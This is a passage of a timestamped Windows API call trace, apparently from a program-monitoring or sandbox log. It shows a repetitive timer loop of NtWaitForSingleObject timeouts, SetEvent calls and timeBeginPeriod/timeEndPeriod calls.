	[0103.678] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.688] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.698] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.708] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.718] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.728] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.738] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.750] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.764] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.774] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.784] SetEvent (hEvent=0x80) returned 1
	[0103.784] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.784] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0103.784] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0103.809] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0103.809] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.818] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.833] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.834] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.835] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.836] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.838] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.838] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.839] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.841] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.841] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.843] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.843] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.844] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.845] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.846] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.847] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.849] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.849] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.850] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.851] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.852] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.854] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.854] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.855] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.856] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.857] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.858] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.859] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.861] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.862] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.863] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.863] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.864] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.866] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.866] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.867] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.871] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.872] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.873] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.874] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.875] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.876] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.878] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.879] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.879] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.880] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.882] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.882] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.883] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.884] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.891] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.893] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.893] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.895] SetEvent (hEvent=0x80) returned 1
	[0103.895] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.895] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0103.896] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0103.917] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0103.917] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.929] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.944] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.945] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.946] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.947] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.948] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.949] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.950] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.952] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.952] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.953] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.954] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.955] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.956] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.957] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.958] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.959] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.960] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.961] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.962] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.963] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.964] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.966] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.966] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.967] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.968] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.969] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.970] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.971] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.972] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.973] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.974] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.975] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.976] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.977] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.978] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.979] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.980] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.981] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.982] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.983] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.984] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.985] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.986] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.988] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.988] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.989] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.990] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.991] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.992] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.993] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.994] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.995] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.996] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.998] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.001] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.003] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.009] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.019] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.029] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.039] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.049] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.059] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.070] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.080] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.090] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.100] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.110] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.120] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.131] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.142] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.152] SetEvent (hEvent=0x80) returned 1
	[0104.152] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.156] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0104.156] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0104.196] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0104.196] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.210] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.219] SetEvent (hEvent=0x80) returned 1
	[0104.220] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.221] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.221] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.223] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.224] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.225] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.226] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.227] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.228] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.229] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.231] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.232] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0104.232] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0104.235] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0104.235] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.249] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.265] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.267] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.268] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.269] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.270] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.271] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.272] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.273] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.274] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.275] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.276] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.277] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.278] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.279] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.280] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.281] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.282] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.283] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.284] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.285] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.286] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.287] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.288] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.289] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.290] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.291] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.292] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.293] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.294] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.295] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.296] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.297] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.298] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.299] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.300] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.301] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.302] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.303] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.304] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.305] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.306] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.307] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.308] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.309] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.310] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.311] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.312] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.313] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.314] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.315] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.316] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.317] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.318] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.319] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.321] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.326] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.332] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.342] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.352] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.362] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.372] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.382] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.401] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.412] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.422] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.432] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.442] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.452] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.469] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.485] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.495] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.505] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.525] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.535] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.545] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.555] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.565] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.575] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.587] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.597] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.607] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.617] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.627] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.637] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.647] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.659] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.669] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.679] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.689] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.699] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.709] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.720] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.730] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.740] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.750] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.760] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.770] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.780] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.824] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.834] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.844] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.855] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.865] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.876] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.886] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.896] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.906] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.917] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.927] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.937] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.947] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.957] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0104.967] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
